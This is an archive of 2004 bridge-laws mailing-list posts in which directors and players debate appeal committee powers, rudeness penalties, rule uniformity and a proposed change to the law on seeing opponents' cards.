appeal number two Message-ID: Grattan Endicott asked: [snip] >>2. East took "5 - 8 seconds" to pass. First, what is the >>ACBL regulation if North fails to pause for the required >>time, and there has been a failure to use the Stop card? >>The question is whether East is entitled to some tempo >>adjustment. [snip] Law 93B3 states: >In adjudicating appeals the committee may exercise all >powers assigned by these Laws to the Director, except >that the committee may not overrule the Director on a >point of law or regulations, [snip] Richard Hills asserts: In my opinion, Grattan's question is moot, if it is asked in the context of discussing an ACBL AC ruling. The TD has implicitly interpreted the ACBL skip-bid regulation as *not* being relevant to the *partner* of the skip-bidder. The TD's interpretation may or may not be correct. *But*, Law 93B3 explicitly states that the AC does *not* have the power to rule that the TD is mistaken. Only the National Authority has the power to overrule the TD's interpretation of a Law or of a regulation. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 16 00:54:05 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 16 Jul 2004 09:54:05 +1000 Subject: [blml] SB bias Message-ID: Marvin L. French: >>>TDs seem to prefer misusing PPs for ethical >>>misdeeds rather than employing a procedure that >>>would document the wrongdoings, such as the >>>ACBL's Player Memo (Player Report?). Grattan Endicott: >>+=+ I think that would depend on the inner >>thoughts of the TD. If he thinks it is the kind >>of situation where he is uneasy about what has >>happened but feels he lacks the quality of >>evidence, or investigation would hold up the >>game, then maybe reference elsewhere is the only >>sensible course? >> ~ G ~ +=+ Wayne Burrows: >Perhaps but when no attempt is made to gather >evidence or determine the facts then I think the >TD has fallen short of his duty. > >I would say that no action on the offence from the >TD is the normal course of action that I have >observed from TDs when called regarding conduct >and etiquette issues. > >Being told by the CTD that "that is a matter for >the recorder" is unsatisfactory IMO when we are >talking about a breach of law. Richard Hills: I agree with all three of Marv, Grattan and Wayne. (a) Marv is correct in stating that score-adjusting Law 90 PPs are the wrong solution to infractions of the courtesy requirement of the most important Law in the Lawbook, Law 74A2. When I am TD, I believe that a Law 91 disciplinary penalty is the most appropriate response for rudeness. (b) Grattan is correct in stating that immediate action by the TD is not necessarily the correct action. Tempers often get fraught in rudeness imbroglios, especially in the frequent cases when both sides are offending sides. Furthermore, the TD only has disciplinary power during the current session. If a TD refers an incident to the local Conduct & Ethics Committee, pursuant to Law 81C9, then that committee can inflict a more severe sanction than the TD can, such as a three-month suspension of membership. (c) Wayne is correct in stating that a small minority of incompetent TDs are psychologically averse to stamping out rudeness. Those TDs commit dereliction of duty by rewarding bridge bullies due to ignoring their antics. Best wishes RJH From nigel.guthrie@ntlworld.com Fri Jul 16 00:30:17 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 16 Jul 2004 00:30:17 +0100 Subject: [blml] A player's view References: Message-ID: <001501c46ac7$2c7640c0$0a9468d5@jeushtlj> [Richard Hills] > Whoa. Have you stopped beating your wife? In > my opinion Nigel is conflating different issues > in his string of nouns. > (c) *Completeness* is not necessarily desirable. > This is an issue of subsidiarity and federalism. > In my opinion, a majority of players would vote > for a Laws framework in 2006, with non-fundamental > gaps in the Laws customised to suit local tastes > by local regulation. > (d) *Uniformity* as one word is ambiguous. If the > idea of internal consistency in the Laws is what > is being recommended, then I wholeheartedly agree. > If, however, uniformity is being used in the sense > of Good Queen Bess's anti-Catholic Uniformity Acts, > then I am wholeheartedly opposed to such a non- > subsidiarity and non-federalism idea. > (e) *Objectivity* is impossible in all cases, but > it is possible for a local TD to be consistent in > their rulings, and it is possible for a local TD > to use the justice-is-blind principle in their > rulings. > (f) *Clarity* and redundancy (using the same word > with boring repetition for the same concept > throughout) is highly desirable for an instruction > manual. > (g) *Simplicity* [Henry David Thoreau (1817 -1862)] >> Our life is frittered away by detail... >> Simplify, simplify, simplify. [Nigel] My wife is unbeatable. It still think that all five attributes are desirable. That is, TFLB should be more complete, uniform, objective, clear and simple; so we agree to differ (again) By "uniform", I meant "same all over the world" but internal consistency is also vital. I agree that, when infraction is not really an issue, rules can be quite lax. Rules must be narrowly constrictive in only a few circumstances; but in all cases, IMO, rules should be as clear and as unambiguous as possible; and rules should be the same everywhere (at least by default). Richard, you seem to know of local rules, in conflict with TFLB, that add enjoyment to the game. IMO if such rules exist, then TFLB should incorporate them. You approved the mission statement of the R&A who want rules that are simple enough for players to understand and enjoy; and they want all players to keep to the same rule-book. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14-Jul-04 From nigel.guthrie@ntlworld.com Fri Jul 16 00:34:29 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 16 Jul 2004 00:34:29 +0100 Subject: [blml] A player's view References: Message-ID: <001601c46ac7$3313fa80$0a9468d5@jeushtlj> (b) Nigel has not been paying attention to Grattan's recent sneak previews on what he (and Kojak, and other members of the Drafting Sub-Committee) have been doing in their 2006 rewrite of the Laws. A simple and uniform framework is the goal for the 2006 edition of the laws. As for Golf, from 2006 there will be plenty of scope for local designs and regulations to suit local tastes of local players and local SOs, with merely broad limits set by an over-arching Lawbook. [Nigel] IMO, players approve of Grattan's top-down suggestions about simplifying TFLB Tell us more Richard: Is the R&A really going to encourage local jurisdictions to each invent Golf rules that conflict with one another? an awful retrograde step! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14-Jul-04 From nigel.guthrie@ntlworld.com Fri Jul 16 00:54:19 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 16 Jul 2004 00:54:19 +0100 Subject: [blml] A player's view References: Message-ID: <001701c46ac7$390854e0$0a9468d5@jeushtlj> [Richard Hills] > (a) The Golf authority eschews uniformity of > rules. Even on the basic issue of golf-ball > design, players can freely select one which > suits their style. This is in direct contrast > to Nigel's proposed world-wide law-mandated > default bidding system. (To be consistent, if > Nigel was a participant on the Golf Laws > Mailing List, he would have to argue for a > world-wide law-mandated default golf-ball > design.) [Nigel] The R&A insist on uniform rules in their Mission statement. Golf rules are uniform and complete -- they are comprehensive. They need not be restrictive but they're the same the world over. In contrast, the large gaps in TFLB force each jurisdiction to plug the holes with its own laws, resulting in spurious parochialism. Golf rules permit different kinds of golf-ball just as bridge rules permit different bidding conventions; but the Golf rules do not depend on where you play; nor do they discriminate against foreigners. Arguing against myself, I admit that local golfers may get a geographic edge. For example sea-side links are different from inland courses. Such differences are mostly natural and unavoidable. They may even add interest and variety. Also, it would stretch language to claim these variations are deliberately enshrined in Golf-rules. By contrast, local Bridge rules are usually unnecessary, artificial, and add annoyance rather than interest. My standard system suggestion is a popular Aunt Sally for TDs. I have yet to find an official who likes the idea. but standard systems are irrelevant to this dispute. In spite of Richard's jibes, I've consistently argued that *any* Bridge System be allowed in almost all events. IMO, nevertheless, a default standard system would still be useful for many purposes. For example it would (1) form a basis for simple uniform disclosure rules -- you need explain only departures from the standard. Of course, if you or opponents don't know the standard, you have to explain more. You would, however, have some incentive to learn the standard because the disclosure rules would be the same everywhere. For example, you would no longer need to learn a new set of alert rules everywhere you went. (2) provide a comprehensive world-wide bidding language for beginners and new partnerships. So it would be useful for bridge-classes, no-fear events, and individuals. Amusingly, the web appears to have spread SAYC world-wide. Strangers use it without discussion, as a default. And providers insist that you alert departures from it. So, de facto, as far as on-line bridge is concerned, my standard system goal is partially realized; as a result, on-line Bridge is more interesting and enjoyable. IMO, there is some commonality between Bridge and other games. Certainly their rules share more with each other than with civil or criminal law. But I feel that all our analogies have been over- stretched. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14-Jul-04 From richard.hills@immi.gov.au Fri Jul 16 01:55:26 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 16 Jul 2004 10:55:26 +1000 Subject: [blml] A player's view Message-ID: Nigel Guthrie: [snip] >Tell us more Richard: Is the R&A really >going to encourage local jurisdictions to >each invent Golf rules that conflict with >one another? an awful retrograde step! Richard Hills: Just as each Sponsoring Organisation has its local regulations (such as permitted bidding systems), so each golf course has its local ground rules. For example, a golf course in India has a special hazard rule: "If a monkey picks up a golf ball, the ball must be played from where the monkey eventually drops it." Likewise, some Aussie golf courses have special hazard rules for wandering kangaroos. Best wishes RJH From richard.hills@IMMI.GOV.AU Fri Jul 16 02:04:08 2004 From: richard.hills@IMMI.GOV.AU (richard.hills@IMMI.GOV.AU) Date: Fri, 16 Jul 2004 11:04:08 +1000 Subject: [blml] A player's view Message-ID: Nigel Guthrie: [snip] >Richard, you seem to know of local rules, >in conflict with TFLB, that add enjoyment >to the game. IMO if such rules exist, then >TFLB should incorporate them. [snip] Richard Hills: This proposal ignores the "different strokes for different folks" principle of enjoyment. Rules that Aussie Youth bridge players enjoy are not always congruent with rules that American little old ladies (and Larry Cohen) enjoy. Despite being a so-called world-class player, Larry Cohen is at the forefront of those who criticise the horribly unusual Polish Club system. No doubt world-class player Larry Cohen would become catatonic at the thought of playing against a Forcing Pass system, which is a routine (and enjoyable) experience for Aussie Youth players. Best wishes RJH From wayne.burrows@xtra.co.nz Fri Jul 16 02:33:23 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 16 Jul 2004 13:33:23 +1200 Subject: [blml] SB bias In-Reply-To: Message-ID: <000d01c46ad4$e2853c10$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Friday, 16 July 2004 11:54 a.m. > To: blml@rtflb.org > Subject: Re: [blml] SB bias > > (c) Wayne is correct in stating that a small > minority of incompetent TDs are psychologically > averse to stamping out rudeness. Those TDs commit > dereliction of duty by rewarding bridge bullies > due to ignoring their antics. > Unfortunately I do not think that it is a minority of incompetent TDs but more like a prevailing attitude amongst TDs. Wayne From richard.hills@immi.gov.au Fri Jul 16 03:09:47 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 16 Jul 2004 12:09:47 +1000 Subject: [blml] A player's view Message-ID: Grattan Endicott: >+=+ As for that the laws that Moses brought >down from the mountain were 'plain in shape' - >simplicity, clarity and objectivity calcified - but >this has not stopped thousands of years of >interpretation, searches for loopholes, debate. >Indeed, why has blml not taken up the subject? >Or did I miss it? +=+ The Ten Commandments of Duplicate Contract Bridge (with thanks to Arthur Hugh Clough, 1819-1861): Thou shalt have Grattan only; who Would be at the expense of two? No graven images may be Worshipped, except WBF LC: Swear oft at all; for when thou curse Thy TD's hearing gets much the worse: On bridge committees to attend Will serve to keep the world thy friend: Honour thy team-mates; that is, all >From whom post-mortems may befall: Thou shalt not peek; but need'st not try Officiously to move your eye: Do not a psychic call commit; Advantage rarely comes of it: Thou shalt not dump; an empty feat, When it's so lucrative to cheat: Bear not false witness; let the lie Have time on its own wings to fly: Thou shalt not sponsor, but tradition Approves all forms of competition. Best wishes Richard Hills From grandeval@vejez.fsnet.co.uk Fri Jul 16 09:44:39 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Fri, 16 Jul 2004 09:44:39 +0100 Subject: [blml] A player's view References: Message-ID: <000601c46b16$6fbb1280$d4804c51@4nrw70j> Grattan Endicott To: Sent: Friday, July 16, 2004 3:09 AM Subject: Re: [blml] A player's view > > Grattan Endicott: > > >+=+ As for that the laws that Moses brought > >down from the mountain were 'plain in shape' - > >simplicity, clarity and objectivity calcified - but > >this has not stopped thousands of years of > >interpretation, searches for loopholes, debate. > >Indeed, why has blml not taken up the subject? > >Or did I miss it? +=+ > > The Ten Commandments of Duplicate Contract Bridge > (with thanks to Arthur Hugh Clough, 1819-1861): > > Thou shalt have Grattan only; who > Would be at the expense of two? > No graven images may be > Worshipped, except WBF LC: > Swear oft at all; for when thou curse > Thy TD's hearing gets much the worse: > On bridge committees to attend > Will serve to keep the world thy friend: > Honour thy team-mates; that is, all > From whom post-mortems may befall: > Thou shalt not peek; but need'st not try > Officiously to move your eye: > Do not a psychic call commit; > Advantage rarely comes of it: > Thou shalt not dump; an empty feat, > When it's so lucrative to cheat: > Bear not false witness; let the lie > Have time on its own wings to fly: > Thou shalt not sponsor, but tradition > Approves all forms of competition. > > Best wishes > > Richard Hills > +=+ "Say not the struggle naught availeth, The labour and the wounds are vain, The enemy faints not, nor faileth, And as things have been, things remain." ~ A.H.C. 1855 +=+ From grandeval@vejez.fsnet.co.uk Fri Jul 16 09:44:56 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Fri, 16 Jul 2004 09:44:56 +0100 Subject: [blml] Reno NABC+ appeal number two References: Message-ID: <000701c46b16$70adafe0$d4804c51@4nrw70j> Grattan Endicott To: Sent: Friday, July 16, 2004 12:31 AM Subject: Re: [blml] Reno NABC+ appeal number two > > Richard Hills asserts: > > In my opinion, Grattan's question is moot, if it is asked > in the context of discussing an ACBL AC ruling. > > The TD has implicitly interpreted the ACBL skip-bid > regulation as *not* being relevant to the *partner* of the > skip-bidder. The TD's interpretation may or may not be > correct. *But*, Law 93B3 explicitly states that the AC > does *not* have the power to rule that the TD is mistaken. > Only the National Authority has the power to overrule the > TD's interpretation of a Law or of a regulation. > +=+ Only when guided explicitly as to the regulation can the AC judge how the facts fit to it. +=+ From schoderb@msn.com Fri Jul 16 13:09:39 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Fri, 16 Jul 2004 08:09:39 -0400 Subject: [blml] Reno NABC+ appeal number two References: <000701c46b16$70adafe0$d4804c51@4nrw70j> Message-ID: Guided by whom ? =K= ----- Original Message ----- From: "grandeval" To: ; Sent: Friday, July 16, 2004 4:44 AM Subject: Re: [blml] Reno NABC+ appeal number two > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ================================== > "O! how this Spring of love resembleth > The uncertain glory of an April day, > Which now shows all the beauty of the sun, > And by and by a cloud takes all away!" > ++++++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: > To: > Sent: Friday, July 16, 2004 12:31 AM > Subject: Re: [blml] Reno NABC+ appeal number two > > > > > > Richard Hills asserts: > > > > In my opinion, Grattan's question is moot, if it is asked > > in the context of discussing an ACBL AC ruling. > > > > The TD has implicitly interpreted the ACBL skip-bid > > regulation as *not* being relevant to the *partner* of the > > skip-bidder. The TD's interpretation may or may not be > > correct. *But*, Law 93B3 explicitly states that the AC > > does *not* have the power to rule that the TD is mistaken. > > Only the National Authority has the power to overrule the > > TD's interpretation of a Law or of a regulation. > > > +=+ Only when guided explicitly as to the regulation > can the AC judge how the facts fit to it. +=+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From TG0JLH1@wpo.cso.niu.edu Fri Jul 16 20:16:27 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Fri, 16 Jul 2004 14:16:27 -0500 Subject: [blml] Reno regional appeal number four Message-ID: >>> 7/5/2004 7:49:26 PM >>> Why should a ruling depend upon the chronological sequence of two random samples? -------------------- In Reno Regional Case 4 the TD polled some players, concluding that Pass was not a LA for East. The Panel polled other players, and thereby determined that Pass *was* a LA. The answer to Richard's question is, obviously, "It shouldn't." The Panel should have amalgamated the results of its poll with the results of the TD's poll. This would apparently not have affected its decision. I say 'apparently' because the write-up does not specify the size of the TD's poll; I am presuming that it was quite small. Jim Hudson From svenpran@online.no Fri Jul 16 20:59:30 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 16 Jul 2004 21:59:30 +0200 Subject: [blml] Reno regional appeal number four In-Reply-To: Message-ID: <000001c46b6f$689825c0$6900a8c0@WINXP> > James Hudson ........... > Why should a ruling depend upon the chronological > sequence of two random samples? > > -------------------- > > In Reno Regional Case 4 the TD polled some players, concluding that > Pass was not a LA for East. The Panel polled other players, and thereby > determined that Pass *was* a LA. > > The answer to Richard's question is, obviously, "It shouldn't." The > Panel should have amalgamated the results of its poll with the results > of the TD's poll. This would apparently not have affected its decision. > I say 'apparently' because the write-up does not specify the size of > the TD's poll; I am presuming that it was quite small. And that of the Panel was ...? The director makes his judgment, the panel makes theirs. It is not that uncommon for them to reach a different verdict? Sven From toddz@att.net Fri Jul 16 23:02:48 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Fri, 16 Jul 2004 18:02:48 -0400 Subject: [blml] Reno regional appeal number four In-Reply-To: <000001c46b6f$689825c0$6900a8c0@WINXP> References: <000001c46b6f$689825c0$6900a8c0@WINXP> Message-ID: <6.0.1.1.1.20040716180102.01bc3ec0@postoffice.worldnet.att.net> At 03:59 PM 7/16/2004, Sven Pran wrote: > The director makes his judgment, the panel makes theirs. It is not > that uncommon for them to reach a different verdict? Alas, no. You make it sound like a justification for what happened rather than further evidence that something is wrong with the system. -Todd From svenpran@online.no Fri Jul 16 23:52:23 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jul 2004 00:52:23 +0200 Subject: [blml] Reno regional appeal number four In-Reply-To: <6.0.1.1.1.20040716180102.01bc3ec0@postoffice.worldnet.att.net> Message-ID: <000201c46b87$8f600c50$6900a8c0@WINXP> Todd M. Zimnoch > At 03:59 PM 7/16/2004, Sven Pran wrote: > > The director makes his judgment, the panel makes theirs. It is not > > that uncommon for them to reach a different verdict? > > Alas, no. You make it sound like a justification for what happened > rather than further evidence that something is wrong with the system. > > -Todd I must admit I haven't followed this thread carefully so my considerations here are general, not specific to this case. A Director's rulings must include both direct application of the laws as such and also judgment rulings. While we assume that the Director is an authority on the laws we do allow him to be "human" when he has to make judgment rulings. And for that reason we have a safety net (the AC) which may make a second judgment in such cases and possibly overrule the Director on judgment (but not on law). I have no problem with this, and I certainly do not see it as evidence that something is wrong with the system. Sven From richard.hills@immi.gov.au Sat Jul 17 00:11:18 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 17 Jul 2004 09:11:18 +1000 Subject: [blml] A player's view Message-ID: The Ten Commandments of Duplicate Contract Bridge (with thanks to Arthur Hugh Clough, 1819-1861): [snip] >>Thou shalt not peek; but need'st not try >>Officiously to move your eye: [snip] Grattan Endicott quotes Clough unamended: >+=+ "Say not the struggle naught availeth, > The labour and the wounds are vain, > The enemy faints not, nor faileth, > And as things have been, things remain." > ~ A.H.C. 1855 +=+ Richard Hills: The 1987 version of Law 74C5 reads, in part, "...(but it is appropriate to act on information acquired by inadvertently seeing an opponent's card)." Due to this bracketed comment in Law 74C5, the rules of bridge, like the rules of basketball, give a competitive advantage to tall players. {Declaration of personal interest -> I am six feet tall.} In my opinion, this competitive advantage to tall bridge players is undesirable. I do not believe that as things have been, things should remain. Rather, I suggest that in the 2006 edition of the Laws, the bracketed part of Law 74C5 should be abolished, and replace with a clause along these lines: "If an opponent inadvertently sloppily holds their cards so that a player might see one or more cards, then that player must: (a) carefully avert their gaze, and (b) advise the opponent that the opponent might want to hold their cards in a less visible fashion. If a player inadvertently sees an opponent's sloppily held card (or cards), the information from seeing that card is unauthorised information, with the consequence that that player may not take an anti-percentage line of play based upon seeing that card (or cards). If the Director determines that a player has taken a successful anti-percentage line of play, and if the Director determines that that player could have seen an opponent's non-tabled card as the basis for that anti-percentage line of play, then the Director may award an adjusted score." Best wishes RJH From gesta@tiscali.co.uk Sat Jul 17 00:44:50 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sat, 17 Jul 2004 00:44:50 +0100 Subject: [blml] Reno NABC+ appeal number two References: <000701c46b16$70adafe0$d4804c51@4nrw70j> Message-ID: <004901c46b8f$9d7e1e00$6c03e150@multivisionoem> Grattan Endicott To: ; ; "grandeval" Sent: Friday, July 16, 2004 1:09 PM Subject: Re: [blml] Reno NABC+ appeal number two > Guided by whom ? > > =K= > +=+ When the Director is doing his job, by the Director. Richard's reference to an inferential statement of the law was inaccurate. The ruling involved both a statement of the law and an assessment of facts to be measured against the law. The latter part of it is open to variation by the AC. +=+ From john@asimere.com Sat Jul 17 03:51:02 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 17 Jul 2004 03:51:02 +0100 Subject: [blml] Reno NABC+ appeal number two In-Reply-To: <004901c46b8f$9d7e1e00$6c03e150@multivisionoem> References: <000701c46b16$70adafe0$d4804c51@4nrw70j> <004901c46b8f$9d7e1e00$6c03e150@multivisionoem> Message-ID: In article <004901c46b8f$9d7e1e00$6c03e150@multivisionoem>, gesta@tiscali.co.uk writes > >Grattan Endicott [also grandeval@vejez.fsnet.co.uk] >+++++++++++++++++++++++++++++. >".For Sir Philip well knows >That innuendos >Will serve him no longer in verse or in prose, >Since twelve honest men have decided the cause, >And were judges of fact, tho' not of the laws." > ~ William Pulteney 1684-1764. >#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# >----- Original Message ----- >From: "WILLIAM SCHODER" >To: ; >; >"grandeval" >Sent: Friday, July 16, 2004 1:09 PM >Subject: Re: [blml] Reno NABC+ appeal number two > > >> Guided by whom ? >> >> =K= >> >+=+ When the Director is doing his job, by the Director. > Richard's reference to an inferential statement of >the law was inaccurate. The ruling involved both a >statement of the law and an assessment of facts to be >measured against the law. The latter part of it is open >to variation by the AC. +=+ As Grattan says: A half way competent TD will instruct the AC on his ruling *and* on what points of law his ruling may be varied. It is not sufficient for the AC to dislike the TD and howl him down, they have to do so within Law and the TD is the person who understands the law and must advise them. AC's I have worked with have on a number of occasions checked with me whether their ruling is legal before advising me of the ruling, and where I advise them it's illegal (a Revely ruling is a good example) will go away and consider further. I have no problem being howled down because my judgement is shot. That's a given. But an illegal ruling costs them a beer later. > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From mfrench1@san.rr.com Sat Jul 17 05:53:08 2004 From: mfrench1@san.rr.com (Marvin French) Date: Fri, 16 Jul 2004 21:53:08 -0700 Subject: [blml] A player's view References: Message-ID: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> > Richard Hills: > > The 1987 version of Law 74C5 reads, in part, > "...(but it is appropriate to act on information > acquired by inadvertently seeing an opponent's > card)." Appropriate in rubber bridge, and perhaps knockout team play, but not in other forms of the game. > > Due to this bracketed comment in Law 74C5, the > rules of bridge, like the rules of basketball, > give a competitive advantage to tall players. > Having just lost the 1975 National Mixed Team Championship to the very tall Jim Linhart's team, John Crawford said to him, "If I were as tall as you we would have won." I don't believe he was joking. When an opponent is showing their cards, I let them and their partner know. A common response is "Don't look!" That gets a TD call. Marv Marvin L. French San Diego, California From jaapvanderneut@hotmail.com Sat Jul 17 07:49:14 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Sat, 17 Jul 2004 08:49:14 +0200 Subject: [blml] A player's view References: Message-ID: Dear Richard, This is too much. > If the Director determines that a player has taken a > successful anti-percentage line of play, and if the > Director determines that that player could have seen > an opponent's non-tabled card as the basis for that > anti-percentage line of play, then the Director may > award an adjusted score." You want to torture TD's or what. First everybody could have seen anyones card by definition. It is impossible to defend against this type of 'could have' argument. Second, what the hell is an anti-percentage play for this purposes. Good players plat anti-percentage all the time because bridge is more a game of judgement rather than math. The law is just fine. In an information game like bridge players should be responsible for concealing their cards. Just ask any poker player. Jaap ----- Original Message ----- From: To: Sent: Saturday, July 17, 2004 1:11 AM Subject: Re: [blml] A player's view > > > > > The Ten Commandments of Duplicate Contract Bridge > (with thanks to Arthur Hugh Clough, 1819-1861): > > [snip] > > >>Thou shalt not peek; but need'st not try > >>Officiously to move your eye: > > [snip] > > Grattan Endicott quotes Clough unamended: > > >+=+ "Say not the struggle naught availeth, > > The labour and the wounds are vain, > > The enemy faints not, nor faileth, > > And as things have been, things remain." > > ~ A.H.C. 1855 +=+ > > Richard Hills: > > The 1987 version of Law 74C5 reads, in part, > "...(but it is appropriate to act on information > acquired by inadvertently seeing an opponent's > card)." > > Due to this bracketed comment in Law 74C5, the > rules of bridge, like the rules of basketball, > give a competitive advantage to tall players. > > {Declaration of personal interest -> I am six > feet tall.} > > In my opinion, this competitive advantage to > tall bridge players is undesirable. I do not > believe that as things have been, things should > remain. > > Rather, I suggest that in the 2006 edition of the > Laws, the bracketed part of Law 74C5 should be > abolished, and replace with a clause along these > lines: > > "If an opponent inadvertently sloppily holds their > cards so that a player might see one or more cards, > then that player must: > > (a) carefully avert their gaze, and > (b) advise the opponent that the opponent might > want to hold their cards in a less visible fashion. > > If a player inadvertently sees an opponent's > sloppily held card (or cards), the information from > seeing that card is unauthorised information, with > the consequence that that player may not take an > anti-percentage line of play based upon seeing that > card (or cards). > > If the Director determines that a player has taken a > successful anti-percentage line of play, and if the > Director determines that that player could have seen > an opponent's non-tabled card as the basis for that > anti-percentage line of play, then the Director may > award an adjusted score." > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Sat Jul 17 08:32:01 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jul 2004 09:32:01 +0200 Subject: [blml] A player's view In-Reply-To: Message-ID: <000001c46bd0$26e0c1d0$6900a8c0@WINXP> Jaap van der Neut > Dear Richard, > This is too much. >=20 > > If the Director determines that a player has taken a > > successful anti-percentage line of play, and if the > > Director determines that that player could have seen > > an opponent's non-tabled card as the basis for that > > anti-percentage line of play, then the Director may > > award an adjusted score." >=20 > You want to torture TD's or what. >=20 > First everybody could have seen anyones card by definition. It is > impossible > to defend against this type of 'could have' argument. >=20 > Second, what the hell is an anti-percentage play for this purposes. = Good > players plat anti-percentage all the time because bridge is more a = game of > judgement rather than math. >=20 > The law is just fine. In an information game like bridge players = should be > responsible for concealing their cards. Just ask any poker player. >=20 > Jaap Dear Jaap, Did you really take Richard seriously? I didn't. But it was a nice illustration on where we might eventually find = ourselves when replacing simple rules with some of these attempts for more = "equity" in the game that seem to have been an intention over the last ten to twenty years or so. Equity in the game is *not* a question on what would have happened had = no irregularity taken place and had everybody played to the best of their standards. Humans make mistakes and a law that effectively says: "Sure, = a mistake like that you made is irrational so we adjust the result on the assumption that you didn't make it" can never be said to "protect = equity". Equity is a matter of having clear cut rules and regulations that the players understand and accept so that they know exactly the consequences = of their actions and can behave accordingly. =20 Regards Sven From jaapvanderneut@hotmail.com Sat Jul 17 08:59:39 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Sat, 17 Jul 2004 09:59:39 +0200 Subject: [blml] A player's view References: <000001c46bd0$26e0c1d0$6900a8c0@WINXP> Message-ID: Dear Sven, About taking Richard seriously, maybe not, he is a funny guy, but even with him sometimes the border is unclear. But I agree with you completely. This silly funny law IS a good example where we are heading. Quite some laws like this have already passed and quite some are about to pass. As an example the revoke law. What the hell is wrong with just two tricks plus an equity check just in case even two is not enough. The supporters of the current soft proposal are awfully close to this 'joke' of Richard. And is it really a joke. Maybe for RJH, but I would not be surprised if even such a law would have a lot of supporters. Just look at discussions about the claim laws and some current decisions. Probably unavoidable. The bunnies are in the majority. So in the end we will end up with bunny laws I guess. One thing I have never understood. Some of the supporters of this soft complex equity based laws (one in particular comes to mind) are also very strong on time issues (slow play problems). If you make laws for simple infractions ever more complex, it might stimulate the number of TD calls, but for sure the TD interventions will take more time (especially equity checks take forever), wich (in the long run) is damaging operational aspects of the game. Jaap ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Saturday, July 17, 2004 9:32 AM Subject: RE: [blml] A player's view Jaap van der Neut > Dear Richard, > This is too much. > > > If the Director determines that a player has taken a > > successful anti-percentage line of play, and if the > > Director determines that that player could have seen > > an opponent's non-tabled card as the basis for that > > anti-percentage line of play, then the Director may > > award an adjusted score." > > You want to torture TD's or what. > > First everybody could have seen anyones card by definition. It is > impossible > to defend against this type of 'could have' argument. > > Second, what the hell is an anti-percentage play for this purposes. Good > players plat anti-percentage all the time because bridge is more a game of > judgement rather than math. > > The law is just fine. In an information game like bridge players should be > responsible for concealing their cards. Just ask any poker player. > > Jaap Dear Jaap, Did you really take Richard seriously? I didn't. But it was a nice illustration on where we might eventually find ourselves when replacing simple rules with some of these attempts for more "equity" in the game that seem to have been an intention over the last ten to twenty years or so. Equity in the game is *not* a question on what would have happened had no irregularity taken place and had everybody played to the best of their standards. Humans make mistakes and a law that effectively says: "Sure, a mistake like that you made is irrational so we adjust the result on the assumption that you didn't make it" can never be said to "protect equity". Equity is a matter of having clear cut rules and regulations that the players understand and accept so that they know exactly the consequences of their actions and can behave accordingly. Regards Sven _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From dpb3@fastmail.fm Sat Jul 17 12:44:11 2004 From: dpb3@fastmail.fm (David Babcock) Date: Sat, 17 Jul 2004 07:44:11 -0400 Subject: [blml] Revenge Mitchell in ACBLscore? Message-ID: <1090064651.6574.200545607@webmail.messagingengine.com> Hi all, Is there a menu selection for this? One can add an appendix table or half to a Howell, or (it says) an appendix to a Mitchell, with a menu selection, but I can't see how to do a Revenge Mitchell. Maybe it's because I haven't had my second cup of coffee. TIA. BTW--true story, so help me, from one of my games: Shuffle and deal. I'm called about five minutes after the start. A table has finished a board, with declarer discovering that he had started with 12 cards. LHO has 14. OK, it's the first play; just shuffle and deal again. "But he was down one!" says the 14-card holder. It may hardly need saying, but the table were all Life Masters. David Florida USA From john@asimere.com Sat Jul 17 13:45:49 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 17 Jul 2004 13:45:49 +0100 Subject: 